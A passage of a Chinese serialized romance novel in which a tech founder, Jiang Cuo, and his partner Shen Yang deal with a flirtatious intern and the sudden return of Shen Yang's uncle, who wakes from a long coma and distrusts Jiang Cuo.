这是2013年让沈泱最印象深刻的一场雨,它来的和其他的雨没什么不同,却持续了整整七天七夜,申城好几个区都经历了一场不算小的内涝。 学校里的水最高的时能盖过沈泱的小腿肚,幸好天气渐热,沈泱可以穿着短裤去教室里上课。 落地窗外的梧桐绿了又黄,黄了又绿,绿了又黄,在沈泱住进来的第四年春天,沈泱和江措搬家,他们在申城有了自己的房子。 别墅完全按照沈泱的审美规划装修,轻法式的风格,采光极好,屋前屋后绿树成荫,鲜花着锦,客厅的正中央还放着一架白色钢琴。 【图片】 【图片】 口袋里的手机微不可察地震了两下,江措一边听下属的回复,一边摸出了手机打开。 宝宝:【图片】 宝宝:【图片】 宝宝:【江措,你看,我终于把柯南拼好了!!!】 江措:【拼的很好看】 江措:【发张自己的照片】 消息发送出去,江措微微抬起头。 如果这个时候有不明真相的局外人经过就会觉得很意外,最左侧的青年穿了不起眼的衬衫西裤,他看起来年龄似乎不大,可气场又很冷峻强大,一时分辨不清他的年龄,除此之外,房间里剩下的六七个人,又总是询问他的意见,观察注视着他的脸色。 会议结束,江措再一次打开手机。 沈泱终于回复了他的消息。 沈泱:【图片】 是一张沈泱的照片,却不是对着他的脸,而是一张他指尖落在雪白琴键上的照片,食指细腻细长,不见丝毫瑕疵。 江措拿着手机,一边朝办公室走,一边给沈泱发消息。 江措:【下午来公司?】 宝宝:【不要】 江措走进办公室,拨打了一通语音电话。 沈泱刚把柯南放进自己的手办墙上,电话响了起来,他翻了个白眼,都不用看是谁打的电话,接通了语音通话,语气有点烦,“我刚刚都和明棠约好了,下午要去猫咖玩的。” “泱泱,别人摸过亲过的猫你不嫌脏?” 沈泱:“……” 江措:“来公司吧。” 沈泱坐在雪白的琴凳上,手肘撑着琴盖,无意识地摇晃脑袋,“不想来,来了我又没事干,你们又都很忙。” “可是我很想见到你,泱泱。”江措放低了声音说道。男人的嗓音低沉,声调一低,会令人不禁回想起夜里刚刚结束时,他趴在他耳边低喘的样子。 沈泱的耳朵尖尖发烫,“我都和明棠约好了。” “换个时间。” “你和穆宁然在外地玩了六天,昨天才回来。” 江措一周前出了差,出了差还没到家,沈泱就和穆宁然去云南潇洒玩了一圈,昨天下午才回家,穆宁然大学毕业后没有上班,做起了美食自媒体,探店博主,还干的风生水起的,快一百万的粉丝了。 明棠则是李冬的女朋友,是个富二代,和沈泱很能玩到一起去,还是江措介绍他和明棠认识的。 随着沈泱毕业,毕业后找了个公司上了一段时间班,老板和神经病一样,沈泱现在又不缺钱,干脆把老板炒了,只是朋友们都有各自的事情做,穆宁然天南地北的飞,顾宝安读研,王恒打比赛,边宇去了南城开网店,就沈泱无所事事,挺无聊的。 “我再想想吧。”沈泱这样说。 江措:“我给胡大江发消息了,他现在开车回来接你。” “江措,你……” “泱泱,真的很想看见你。”江措低声下气地说,“你过来陪陪我好吗?”—— 作者有话说:有钱啦[狗头叼玫瑰][狗头叼玫瑰] 第54章 “……好吧。” 半个小时后, 沈泱接到了胡大江的电话,说他马上要到门口了,沈泱换了衣服, 在别墅门口看到了那辆熟悉的奔驰。 “大江, 给。”沈泱坐上副驾驶后,把前几天去云南玩买的特产递给胡大江。 胡大江没客气,“谢了。” 沈泱余光扫了他两眼, 眯着眼睛看他,“你今天不对劲儿啊, 穿得这么周正。” 胡大江来申城给江措开车快一年了,一开始也不是当司机, 做的是安保维修的工作, 后来胡大江觉得那份工作他不太能胜任, 正好江措缺一个司机, 索性就给江措当司机了。 电视里不是说吗?能给老板当司机的, 绝对是心腹中的心腹了。 “你看出来了?”胡大江难得露出羞涩腼腆的微笑, “今晚娜娜的父母要来申城。” “你们要见父母了?”沈泱双眸发光道。 娜娜是胡大江的女朋友, 在江措公司对面的咖啡厅工作,胡大江半年前就对人家一见钟情, 追了三个月终于追到手了, “你们不会要结婚了吧?这也太快了吧?” “那也不是, 娜娜的妈妈最近身体不舒服,来申城检查一下, 她让我和她一起去见她爸妈。” “那是应该的。” 沈泱说:“你也别太紧张了, 就平常心,你平常的样子就挺好的,娜娜的爸妈肯定喜欢你。” 胡大江嘿嘿一笑, 他早几年就没留他那挡住半张脸的黄毛了,短发寸头,五官端正深邃,只是经常傻笑,看起来脾气很好,“娜娜说他爸妈也肯定会挺满意我的。” “那就得了。” “还是要多谢谢你和江措。”胡大江真情实感地说。 他初中读完就没读书了,在他们那偏僻的深山里,学历不算低,他先和父母学建筑,父母觉得太辛苦,让他去学开车,也是一技之长,只是在县城跑跑货,养活自己没问题,但一辈子也就是那样了。 两年前,江措让他来申城。 父母不乐意,申城人生地不熟的,江措再厉害,也只是一个大学没毕业的学生,他赶紧在老家结婚生孩子才是正道。 是胡大江自己不乐意,他不想留在那个偏僻得经常没电没网的川西小镇,毅然决然地来投奔了江措。 来申城的第一件事,江措让他买房,老天爷啊,他当时全身上下就两万块,但江措不可能坑他,他在江措那里借了一笔钱,买了一套房,结果这两年房价飙升,要是他现在把他那套房子卖了,转头就能赚几十万。 娜娜的父母一开始不满他是从川西来的,父母没社保,没养老金,是很不满意他的,得知他在申城有房后,满意度骤然提升。 胡大江能理解,哪个父母不希望自己的孩子和条件更好一点的人结婚,以后的生活顺顺利利的。 胡大江说:“你知道不,这几天好几个以前老家的人联系我,问我能不能来江措的公司里上班呢。” 胡大江外婆上个月过七十大寿,胡大江回了趟老家,没忍住,炫耀了一下现在的待遇,谁让那些人小时候瞧不起江措呢,“可惜他们一没学历二没能力三没人品,能来干吗?”江措开的是科技公司,全公司好像就他学历最低了。 不不不,保洁阿姨学历应该比他低。 不过胡大江不自卑,他是个司机,要那么高的学历干吗?司机有司机的工作内容。 胡大江和沈泱聊着天,不多时,就把奔驰开到了三点科技的地下车库,沈泱刷卡上了十七楼。 沈泱刚走出十七楼,就看到了江措的助理黄风,黄风手里拿着一份文件,热情地朝他寒暄,“沈泱。” 沈泱颔首:“江措在办公室吗?” “在呢,江总在办公室里。” 江措虽然不姓江,但入乡随俗,大家都默认他姓江。 沈泱说了句谢谢,熟门熟路走到江措办公室的门口,没敲门,自顾自地推开门走了进去。 三点科技这两年急速扩张,公司规模日新月异,周云辰是这周一才入职的实习助理,见一助黄风对一个少年如此热情,而对方门都没敲,直接推开门走进了他们那不苟言笑的江总办公室,周云辰打听道:“黄助,他是谁啊?是公司的哪位负责人吗?” 周云辰又觉得不太像,对方看起来太年轻了,穿着连帽衫和牛仔裤,像是个青春洋溢的大学生,不像是叱咤商海的老江湖。 黄风道:“那位是江总的弟弟。” 黄风脸色严肃地叮嘱道:“反正对他,要像对待江总一样尊重。” “亲弟弟吗?他们不同姓。”周云辰接着问,还有一句周云辰没说,长相也截然不同。 黄风说:“资料准备好了吗?我马上要用。” 周云辰连忙去了助理办,核对打印文件。 沈泱熟门熟路地走进了江措的办公室,江措在办公桌前一边盯着电脑,一边拿着电话,讲沈泱听不懂的内容。 沈泱在茶几前坐下,拉开抽屉,摸出里面复原了的魔方,闭上眼睛乱七八糟地扭很多下,将魔方拧成不规则的图案,然后坐在沙发上,聚精会神地想要把它复原。 沈泱拧着眉,一双擦拭得噌亮的皮鞋出现在眼底,沈泱抬起头,江措扫了一眼他绞尽脑汁半晌的魔方,低声道:“要我帮你吗?” “不要,我就差两面就复原了。”沈泱拒绝,又垂下眼睫,保养得修长细腻的手指迟疑地又转动了一下塑料魔方。 忽然,沈泱的皮肤被一双大手托了起来,沈泱双脚离地,他娴熟地叉开腿,环住江措的脖颈。 江措抱着沈泱,来到办公椅前坐下,沈泱习惯性地□□,坐在江措遒劲的大腿上,靠着他温热的胸膛,复原手里的塑料魔方。 江措则低着头,点开邮件箱。 咔嚓一声,最后一面也成功复原,沈泱欣喜地抬起头,“江措,你看,我复原成功了。” 江措点击回复,低下头,三块钱的塑料魔方每一面都没有任何其他色块,他嗯一声,带点不易察觉的笑意:“看见了。” 沈泱又把魔方打乱,不过这时候没什么玩魔方的心情了,他朝江措办公桌上的几个电脑屏幕扫了一眼,停留在中央屏幕上看了两眼,问江措,“明天下午王恒在申城大学的体育馆里有比赛,你要不要去看?” 王恒四年前退学去打职业比赛,只是这几年都没有拿到总决赛的冠军,最好的成绩是总决赛的亚军,这次比赛不是年度总决赛,而是秋季赛的决赛。 “明天下午吗?我没时间,让大江陪你去。” “你没空就算了,大江让他去陪陪未来的岳父岳母吧,宝安要去。” 沈泱的大学好友,王恒退学去打电竞,边宇再开网店,顾宝安则在读研,没在工商大学读书,他锲而不舍了四年,终于考上了申城大学的历史学。 “好,行。”江措一心二用,把另外一个需要他处理的工作结束完,两只宽大的手握住沈泱的薄腰,低头亲了下来。 沈泱和江措都亲了许多年了,但还没在办公室亲过,这个办公室江措才搬来没几个月,他攥着江措的领口,心跳激烈紊乱,就在这个时候,办公室的门忽然被人推开了,“江总,这两……” 看到办公桌的那一幕,周云辰的声音戛然而止。 江措猛地把沈泱按在自己的胸口,不让外人窥见他半分嫣红的脸,凛声道:“出去。” 周云辰回过神,“抱,抱歉,江总。” 他连忙退了出去。 听到门锁闭合的咔哒声,沈泱抬起红扑扑的脸颊,抬脚提了提江措的小腿,用湿漉漉的眼神瞪着江措顿珠,“江措,你这个混蛋,你他妈抱着我亲都不关门!!” 江措很少在办公室和沈泱亲热,主要是沈泱刚从外地旅游回来,而今天早上他又有两个重要的会议,必须来公司上班。 沈泱熟练地从江措的大腿上下去,他拍了拍滚烫的脸颊,“而且,你还找个这么帅的男秘书。” 他用穿白球鞋的脚尖踢了踢江措穿皮鞋的脚尖,“你什么意思啊?” 江措:“刚刚你看到他了?” 他一把将沈泱拽回胸前,盯着沈泱被他亲得红肿的嘴唇,蹙眉道:“用你这样的脸去看他?” 沈泱没好气地捶了他一下,“我是这个意思吗?” “不和你说了,我去楼下的咖啡厅喝咖啡了。”沈泱说。 他挣扎了几下,没从江措的桎梏里挣脱,江措穿了一件黑衬衫,最顶上的两颗扣子没扣紧,微微张开,明明这几年没干什么体力活了,但江措的胸肌仍旧饱满结实,沈泱抬手摸了一把,仰头命令江措,“松开我,江措。” 江措双手掐着沈泱的腰,将人放在地上,然后蹲下身体。 雪白地砖上,噌亮昂贵的黑皮鞋距离白色皮面球鞋大概四厘米的距离,雄性气息浓郁的青年在漂亮精致的青年面前蹲下,深麦色的手指捏着青年松开的白色鞋带,耐心细致地臣服在对方身前,手指灵活地穿梭,绑紧了松开的那根鞋带。 沈泱垂着头,盯着这样子的江措,心跳忽然有些加快,他赶紧移开了视线,奇怪,为什么在一起六七年了,他仍然总是因为江措的一举一动,心跳失控呢? 明明江措光屁股的样子,他都不知道看了几千遍了! 沈泱顶着一张红扑扑的脸颊,带着胡大江去她女朋友的咖啡厅里喝咖啡了。 晚上六点,江措走出办公室,正好撞见从隔壁办公室走出来的周云辰,江措的眼神在他的脸上多停留了几秒钟。 好看吗? 并没有。 三点科技是一家很年轻的公司,也的确是一家风头正盛的公司,三点更是成为了大部分人每天会使用的APP,周云辰能进入这家公司实习,也是经历了好几层面试。 而且他本来就是个同性恋,周一见到江措的时候就觉得很符合他的审美。 但江总为什么一直盯着他?是也觉得他长的好看吗? 要是以前周云辰不会这么想,江总的气场和同性恋没有半分关系,但今天下午猝不及防撞见的画面…… 翌日,江措从研发部回到办公室,收到了沈泱发来的消息。 宝宝:【图片】 宝宝:【第二局也是王恒的队伍赢了!!!】 公司处于扩张期,事情很多,江措和沈泱聊了几分钟,沈泱要继续看比赛了,江措打开电脑,处理比较紧急的行政事务。 周云辰深吸了一口气,推开江措的办公室,抱着几份文件走了进去,放在江措的手边,“江总,这是需要你签字的文件。” 江措的眼神没从屏幕上挪开,“嗯。” 忽然,伴随着一声惊叫声响起的时候还有什么东西摔了过来,在高原上长大的少年都有应对猛兽的敏捷反应,自然有应对这种事反应力,他脚下用力,连人带着办公椅后退半米,没让突然摔倒的男人碰到他半分。 屁股和地板来了个亲密接触,周云辰疼的脸色狰狞。 江总的反应太快了吧,他不应该摔到他的大腿上吗? 周云辰是一个很聪明的男生,他昨天晚上调查了一晚上,终于知道了江措和那个青年是什么关系了?当然主要原因是江措也没有想保密,那个男生曾经也在他们公司实习过一段时间。 据说他是江措青梅竹马的恋人,两个人大学的时候就在一起了。 他们江总白手起家,据说那个男生也是从川西那个小地方出来的,对方又不上班,可是昨天一照面,几万块的帽衫,几十万的百达翡丽,还有裤子球鞋都是奢侈品,一身的行头比他一年的工资都高。 毫不夸张地说,他在这里上班一周了,江总浑身上下怕是都没有那个青年的一条裤子贵,他既然对情人这么大方,周云辰觉得自己长的也没比那个少年差多少。 何况都这么多年了,怕是也腻了,男人哪有不偷腥的,就像他前几任男朋友一样,gay这个圈子,本来就是开放性关系更多。 但他这是怎么回事? 难不成是专心看报表,被吓到了。 周云辰揉着屁股站了起来,他今天刻意穿了一条臀围略小的西装裤,他背对着江措,揉搓着自己的屁股,“江总,我刚才……” “滚出去。”江措冷声道。 周云辰:“……” “出去。”江措盯着他,脸色更寒。 周云辰心里一哆嗦,屁股也顾不得继续揉了,连忙退了出去。 过了一会儿,黄风走进江措的办公室,“江总,你叫我来什么事。” 江措在文件的最后一页签上自己的名字,“周云辰开掉。” “啊?” 黄风纳闷道:“周云辰做错什么事了?” 江措懒得多说,“心术不正,开掉就是了。” 晚上六点半,和研发部开小会的江措拿出手机看了看,沈泱两个多小时没给自己发消息了,江措让大家休息几分钟,然后独自一人走出办公室后,直接打了一个电话过去,第一个电话没接,江措继续打第二通电话,打到第三通电话的时候,沈泱终于接通了电话,和着鼎沸的喝彩声传入江措的耳膜里,“江措,pf拿了冠军,王恒拿了秋季赛的冠军。” 江措不关心王恒拿没拿冠军,“沈泱,两个小时了,你没给我发消息。” “哎呀,最后那一局太精彩了也太焦灼了,打了快一个小时呢。”体育馆里的叫好声太大了,沈泱的声音听不清楚。 江措皱了皱眉,不太满意他这个回答。 沈泱环绕了一圈,四面八方都是人,他捂着话筒,对着电话那头吧唧吧唧地亲了两下,“好了,我又不是故意的啦。” “我听不清你说了啥,太吵了。” “晚上回家再说啊。” 今晚王恒要和队友一起庆贺,沈泱顾宝安和他在后台见了一面后,定好过几天他请客吃饭,沈泱请顾宝安去附近的一家海鲜自助餐厅吃晚餐。 到了餐厅,沈泱拍照,把他点的餐发给了江措。 顾宝安见怪不怪,江措就是这样子的人,沈泱的一举一动江措都要知道,如果沈泱两三个小时没朝江措汇报他的踪迹,江措就会不停地给沈泱发消息,打电话。 顾宝安都很难理解,怎么会有控制欲这么强的对象,他是不是心理有什么问题。 不过沈泱倒没有对这方面有任何不满,顾宝安倒不会说江措的坏话。 顾宝安和江措聊最近发生的事,忽然,沈泱听到一个熟悉的声音在不远处响了起来,他扭头看过去,范窈今天公司聚餐,大家刚拉开椅子聊天坐下,发现有人似乎盯着他,范窈转过头,“沈泱。” 范窈比沈泱大两级,也比沈泱早毕业两年,以前在学校的时候还经常见面,她毕业后,算起来快两年没见过了,不过两人没有断掉联系,生日的时候都会发消息,朋友圈的消息也会留言。 范窈和同事们打了声招呼,朝沈泱走了过去。 沈泱惊喜:“学姐,好巧啊,你今天也在这里吃饭吗?” 他刚说完,就听到刚才范窈那张桌子响起了一个有些熟悉的声音,有两年没听过了,但对方的声音沈泱在耳机里听过好几遍,曾经的YY也听到过。 见沈泱朝她餐桌上的某个男生看了过去,范窈道:“他是分光,我辞职啦,我现在做了工作室,还是在搞配音。”分光是沈泱第一部广播剧里的主役。 “日企上班我真的不喜欢,我才二十五岁呢,这辈子总不能一直做一份我不喜欢的工作吧,所以我年初就辞职了,干回了老本行。”范窈道,“你呢,学弟,最近在干吗?” 沈泱沉默了片刻,说道:“我最近在玩。” 范窈打量了沈泱一眼,她想起最近风声鹤起的科技新贵,范窈像是随便打趣一句:“既然在玩,有没有也想干一干老本行?” 沈泱一顿,无奈道:“学姐……” 范窈笑说:“开玩笑呢,我过去和同事吃饭啦。” 范窈转身离开了餐桌,沈泱听着她和同事言笑晏晏,心里忽然有一种说不出的感觉。 吃完了晚饭,沈泱开车,将顾宝安送回了申大,再开车回到了现在和江措住的地方。 宝马畅通无阻地开到了别墅门口,别墅门口的密码栏杆感应到是有登基的车辆,栏杆门缓缓地打开,但就在这时,沈泱看见站在门口的男人,他心神一震,猛地踩下了刹车—— 作者有话说:晚安[抱抱][抱抱][抱抱] 第55章 沈泱喉结急速吞咽, 手指颤抖地打开了车门。 别墅门口的路灯光线灿亮,眼尾带着几条细纹的男人依然站在雕花的铁门外,在看见沈泱的同时, 眼底闪过难以描述的感慨激动和歉疚。 “舅舅。”沈泱快步走到身体看起来有些孱弱的男人身前, 神色愕然,“舅舅,你什么时候醒过来的?” 沈泱的舅舅七年前车祸昏迷, 沈泱和舅妈的关系不好,他爹破产后, 再也没能飞到德国去探望他,这两年他让江措带他去德国, 他要看看他舅舅。 江措总是说忙, 沈泱说自己去, 两个人还因此吵了一架, 去年的秋天, 江措终于陪沈泱飞了一趟德国, 不过来到柏平疗养的医院, 医生说四年前家属就给他转院了。 沈泱去舅舅以前的住所找过人,他舅妈早就搬家了, 没有留下别的信息, 后来只能无功而返。 “舅舅, 你醒过来了。你真的醒过来了!”沈泱太开心了,这简直是他今年遇见的最开心的事, 他猛地一把抱住了柏平。 赶紧把舅舅带进别墅, 沈泱慌里慌张地想要给他倒水,柏平目光扫过沈泱现在的居住环境,眼神又落在他的脸上, 七年了,他感觉自己只是睡了一觉,没想到一觉醒过来竟然过了整整七年。 柏平仔细地打量着二十多岁的外甥,“一个月前醒过来的,躺了太多年了,四肢都不听使唤了,能动我就立刻回国了。” “你,你这些年,过得还好吗?”柏平迟疑地问道。 “挺好的,我大学都毕业了,还是一个不错的学校呢。”沈泱得意地说,“我还……” “舅舅,你怎么知道我住这里的?” 柏平一个半月前从医院苏醒,植物人了太多年,各项功能退化,当时都没办法正常行走,站起来都费力,过了半个月,才知道沈泱家破产的事情,沈泱的亲爹下落不明,他联系了沈泱的继母,辗转打听到沈泱的大伯,然后花了一些时间才打听到沈泱现在在申城。 等身体能够接受长途飞行后,柏平刻不容缓地回了国。 两个人坐在一起聊天,主要是沈泱说,柏平还是有一点不太能接受,记忆里才十六岁的外甥转眼就长成了现在的青年模样,眼神明亮,皮肤细嫩,露在外面的一双手洁白细腻,是养尊处优的一双手。 可是他亲爹带着家里仅剩的财产和情人跑路,继母带着妹妹回了娘家,他大伯那一家又不是什么好人,他这些年到底是怎么过来的? 两人聊着天,门外忽然传来了汽车引擎的轰鸣声,沈泱连忙对柏平说:“舅舅,是江措回来了,江措,江措就是……是我最好的朋友,这些年,也一直是他在照顾我。” 话音刚落,漂亮精致的铁门朝两侧缓缓推开,一个身形挺拔的青年男子步入明亮的客厅里,在看到客厅里有一个外人时江措一怔。 沈泱嗓音毫不掩饰地兴奋,迫不及待地想把自己很开心的消息分享给江措,“江措,我给你介绍一下,这是我舅舅,我舅舅病好了,他从国外回来了。” 柏平从沙发上站了起来,他身量很高,脸颊瘦削,脸色苍白,看的出来是身体不太健康,两个人目光在空气里对视了一眼,江措不自觉地攥紧了一下拳头。 舅舅?沈泱的舅舅竟然还能醒过来? “舅舅,他就是江措了,我……最好的朋……” “您好,我是沈泱的爱人。”江措截断了沈泱的话,用另外一种身份在沈泱一直惦念的人身前,沉声介绍了自己的身份。 沈泱一慌,他瞪着江措,又着急地看向了柏平。 他外公和外婆去世的很早,母亲也在和父亲离婚的当年去世了,他舅舅只比沈泱大十六岁,沈泱记得小时候他最喜欢在一起玩的人就是舅舅了。 沈泱以前觉得同性恋是个变态,也是受到了舅舅的影响,他舅舅的大学是在俄罗斯读的,也在俄罗斯工作了几年,才去了德国。 俄罗斯对同性恋讳莫如深。 沈泱不虞地瞪了江措一眼,然后又担心地望着舅舅,他舅舅的身体完全没有恢复,他直接这样说,万一吓到了舅舅怎么办? 果不其然,他舅舅忽然烈猛地咳嗽了起来,沈泱赶紧上前,搀扶他舅舅坐下,“舅舅,你没事吧,我我……” 他端了一杯水递给舅舅,柏平喝了两口,呼吸逐渐恢复了平稳,他望着江措,脸颊因为瘦削显得几分凌厉,“我记得我们沈泱以前喜欢女孩子。” 沈泱心里一慌,没人比他更清楚江措那可怕的醋劲,“舅舅,我根本就没喜欢过女孩子。” “怎么没有。”柏平对他笑笑,“你小的时候,就喜欢和长得好看的女孩子一起玩,你还记得蓉蓉吗?你还把你妈妈的项链送给她,说想要她做你老婆。” 有这个事吗?经过他舅舅一提,沈泱脑袋里似乎是有一件他把妈妈的项链拿去送给幼儿园小朋友的事,他吞咽了几下口水,“那都是幼儿园的事情了,我都记不清了。” 柏平说,“我对同性恋有一定程度的了解,同性恋从小都更喜欢和男孩子玩,但沈泱小时候玩得好一点的都是女同学。” “那是因为男生都没女生爱干净,脏兮兮的,而且我也没那么喜欢和女生玩。”沈泱赶紧说。 江措道:“柏先生,沈泱现在把我当做唯一的爱人就够了。” 柏平盯着江措,江措也看着他,视线不躲不避。 江措不喜欢和沈泱的家里有太多人,但别墅面积大,他从来舍不得沈泱做家务,家里还是请了两个阿姨,一个负责卫生打扫,一个负责沈泱的一日三餐,只是晚上都不会留宿别墅。 家里有客房,沈泱亲自去铺床单,他舅舅今晚要住在这里,沈泱这么多年被江措养的太娇气,床单都没让他铺过,铺了半天,歪七扭八,江措起初和柏平在客厅里聊天,或许也不是聊天,而是相互的试探和交锋。 过了半晌,沈泱还在客房里没出来,江措对柏平说了一声失陪,起身进了客房,他挽起衣袖弯下腰,三两下就换上了干净舒适的四件套。 沈泱在房间里陪舅舅聊了一会儿天,才回到他和江措的房间。 卫生间的灯亮着,扑簌簌的水声响在沈泱的耳膜里,沈泱气冲冲地走到浴室门口,一把拧开房门,江措在淅淅沥沥的水声中抬起头,透明的水珠沿着他锋利的轮廓滑落,黑睫濡湿,胸膛结实。 沈泱脸颊一红,但还是伸出脚踹了江措两下,“你怎么能就这样说你是我的爱人呢?我以前给你讲过,我舅舅在俄罗斯待了七年。” 江措重新拧开莲蓬头,透明的水珠喷洒在他结实性感的身躯上,“他在欧洲待了更长的时间!” 沈泱不想搭理江措了,刚想走出卫生间,一滴水珠溅到他的手臂上,沈泱骂道,“你怎么又用冷水洗澡,现在都冬天了!” 江措把冷水换成热水,见沈泱要离开浴室,一把将他搂了回来。 沈泱没拿睡衣来卫生间,江措用毛巾给他擦干水珠,打横将人抱回了床上,赤裸着身体,走进一旁的衣帽间,拿了一套睡衣回来。 沈泱先伸左脚又伸右脚,等裤子穿好了,瞥见江措两腿间赤裸的一大坨,沈泱脚尖按了按,“你这个流氓,你还不把衣服穿上!” 江措拿过自己放在浴室的睡衣,两条经络分明的悍利长腿伸出,下半身包裹在烟灰色的布料里,睡裤是系带款,他微微垂着头,骨骼宽大的麦色手掌微动,瞬间打了一个活结,又拿过一旁的睡衣,一颗一颗扣上扣子。 沈泱盯着他看了两眼,身上降下去的温度有了卷土重来的征兆。 “江措。”沈泱瞪圆眼睛,从床上扑进了江措的怀里,亲亲他的鼻子和眼睛和嘴巴,又心神亢奋地道,“我舅舅醒了!我舅舅终于醒过来的!” 沈泱是真的很开心,他最亲的亲人有爸妈奶奶,爸爸在十七岁时,卷走所有的钱财和情人私奔,奶奶在他初中时离世,妈妈则更早一点,在他小学的时候离世。 他爸妈离婚,是因为他妈妈发现了他爸爸出轨,沈泱那个时候太小了,才六岁,不清楚什么是出轨,只是不想爸妈离婚,他妈妈于是将他爸的错误迁怒沈泱,骂他果然流着他爸爸的血,和他爸爸一样自私。 舅舅那个时候放暑假,在国内,告诉他他妈妈只是一时气怒,过段日子就好了,带他去游乐园和水族馆,像以前一样耐心地陪伴他。 后来她妈妈意外去世,舅舅也一直对他很好,每次回国都会带礼物给他,也会很担心继母对沈泱不好。 “江措,我真的好开心啊。”沈泱趴在江措肩膀,喜悦从他身体里散发出来。 “我知道。”江措抱着沈泱的手掌一紧。 他当然知道柏平是沈泱很在乎的亲人,两年前他吵着闹着要去德国探望他舅舅,江措当时忙,或许还有一些别的原因,拖了大半年,结果沈泱竟然买了一个人去德国的机票。 两人因此大吵一架,最后江措妥协了,哪怕忙得脚不沾地,依然抽出了几天时间陪沈泱去德国,只是柏平早就被妻子转院了,不在沈泱记忆里的医院,沈泱和他舅妈关系不好,两个人都没有以前的联系方式,舅舅的电话打不通,以前舅舅居住的地方也没有人居住,打听了两天舅舅的下落后,沈泱只好无功而返。 江措再次收紧了搂着沈泱后腰的手。 沈泱仰着头,将江措的脸颊额头鼻梁嘴唇又激动地乱亲了一遍,最后躺在床上,靠在江措的胸膛里,唇角弯弯地睡了过去—— 作者有话说:晚安[抱抱][抱抱]《 》 55-60 第56章 第二天, 柏平在餐桌上只看到了沈泱,他问了一句,“江措不在?” 今天的早餐是虾皮馄饨, 沈泱说:“他早上四点多的时候接了个电话, 公司里有急事,出门了。” 江措的公司还处于扩张期,江措忙得脚不沾地是常事, 窥了眼舅舅的表情,沈泱为江措说道:“舅舅, 江措很辛苦的,而且对我也很好的。” 柏平看了他片刻, 没有笑, 只是说道:“吃早餐吧。” 午后, 柏平说要见一位在申城的老朋友, 沈泱主动请缨, 送柏平去咖啡厅, 柏平不用沈泱接他回家, 沈泱送完舅舅后就去酒店找穆宁然玩了。 穆宁然今天刚好要来申城参加一个活动。 沈泱一边开车,一边和江措打电话, “我刚把舅舅送到了咖啡厅, 现在去酒店找穆宁然。” 江措:“要和穆宁然一起吃晚饭吗?” “现在还早, 应该不会。” “嗯。” 两个人又聊了两句,沈泱有点不舍地挂断了电话, 听着手机里传来的忙音, 江措结束通话,望向透明茶几对面瘦削但冷毅的青年。 沈泱的电话号码在来外省读大学的时候换过,柏平辗转了数人, 最后从穆宁然的父母联系到了穆宁然,才知道了沈泱现在的去处。 柏平说:“穆宁然说你对沈泱这些年都很好。” 江措:“沈泱是我的爱人。” 柏平:“哦,那沈泱名下有哪些资产?” 江措把文件递给了柏平,三点科技成立不过几年,虽是申城一颗冉冉升起的新星,不过公司正处于急速扩张期,江措的资产在一些真正的豪门巨贾眼里还是不值一提,但三点直播和三点短视频这两年风头正盛,江措也算收入不菲。 他看好房地产,买了几套房产,都登记在了沈泱的名下,公司的股份和存款则都在江措的名下,沈泱用江措的银行卡。 “除了房子外,倒是都在你的名下。”柏平冷笑一声,“这就是你的真心。” “我和沈泱不分你我。”江措道,“股份在我名下更方便。” 除了公司股份和存款,不动产江措都会写沈泱的名字。 柏平道:“我只看到了,最重要的东西都是你的。” 江措拧了下眉,对柏平的这句话不太舒服,居高临下地瞧不起他对沈泱的付出,可是沈泱最无助的时候,是江措出现在了他的身边,和他走过了最摇摇欲坠的时光。 只是因为是沈泱的舅舅,江措可以压抑住不愉快的情绪,“沈泱不参与公司管理决策,股份在我名下更有利于我们两个人的生活。” 柏平:“两个男人在一起,终究不是社会主流。” “我以为您在欧洲生活了这么多年,早就习以为常了。” “哪怕在欧洲,这也是少数群体。”柏平盯着江措说,“我会在申城待一段时间。” 江措压抑着心里的不爽,说很适合这个场景的话,“沈泱应该会很开心。” 两人不欢而散地聊完,江措送柏平回了家,又才开车去了公司。 接下来的十来天,柏平一直住在沈泱和江措家,他身体不是很好,沈泱带他去医院做康复,他身体好一点的时候,两人飞了一趟蓉城,祭奠了沈泱的母亲和外公外婆。 晚上,江措把脏污的床单扔进洗衣机,又把沈泱的底裤用手清洗干净,放进烘干机,沈泱趴在床上看手机,江措走到床边,拍了一下他藏在柔软睡裤下,有些红肿的屁股。 沈泱立刻转过身,用一种看似凶狠实则一点都不凶狠的眼神盯着他。 江措躺在床上,盯着沈泱打完了一局消消乐,见他还想再来一把,江措抽出他手机里的手机,放到一旁。 “怎么了?”沈泱抬起头。 江措盯着他,问道:“你舅舅什么时候回德国?” “没说呢,不过我舅舅说不着急。”他舅舅原来在德国是做医疗器械生意的,他躺了这么多年,合作伙伴虽然没有将生意做得如火如荼,但还算健康地维持了下去,舅舅不着急回德国。 “我只是觉得你舅舅在国内也很无聊。”江措说。 “也不无聊啊,这几年科技日新月异,我舅舅看到三D都很震惊呢,明天我还要带他去看四D电影呢。”沈泱兴致勃勃,他这段时间是真的很开心,从内而外的开心,气色都变得更好了。 江措盯着他红润的脸色说,“既然你舅舅和你舅妈离婚了,我们给他介绍个对象怎么样?” 沈泱盘腿坐了起来,诧异地盯着江措。 “你舅舅还很年轻,还不到四十岁,如果不算他昏迷的几年,也才三十多岁,总不能让他孤独终老。” 沈泱的舅舅确实离婚了,在他醒来后不久就和前妻离婚了,柏平虽然说和他没关系,但沈泱知道是有关系的,舅舅得知沈家破产,他的妻子对自己唯一的外甥不管不顾后,产生了难以磨灭的隔阂。 沈泱贴近江措的怀里,过了一会儿,轻声说道:“江措,其实我上一个舅妈不喜欢我,我是能理解的。” “嗯?”江措垂下头,吻了吻沈泱的额头。 沈泱手指无意识地绞在了一起,俄顷后,他声音低落地道:“我十五岁那年,她和我舅舅结婚了,怀了一个小宝宝,那年暑假我舅舅接我去德国,有天晚上,我舅舅带我去参加一个当地的节日庆典,我舅妈在家里摔倒了小产了。” “我舅妈说,如果那天我舅舅在家里,在她摔倒后能够及时送她去医院,她们的孩子应该能够留下来。” 江措说:“摔跤应该怪她不小心,这和你没有任何问题。” “我舅舅也觉得和我没关系。”沈泱说,“当然了,我也觉得和我没关系,那天我和舅舅出门的时候,还有保姆陪着她,舅舅说以前他就觉得那个阿姨不靠谱,但是我舅妈很喜欢她,结果她摔跤时候那个阿姨在房间里看电视,半天都没有听到她叫疼的声音。” 江措盯着沈泱,确定他没有因这件事留下任何的心理阴影后,继续说道:“所以我们更应该给舅舅介绍一个合适的女朋友。” “那你有合适的人吗?”沈泱也觉得他舅舅还很年轻,不能孤家寡人一辈子。 江措说:“当然有。” 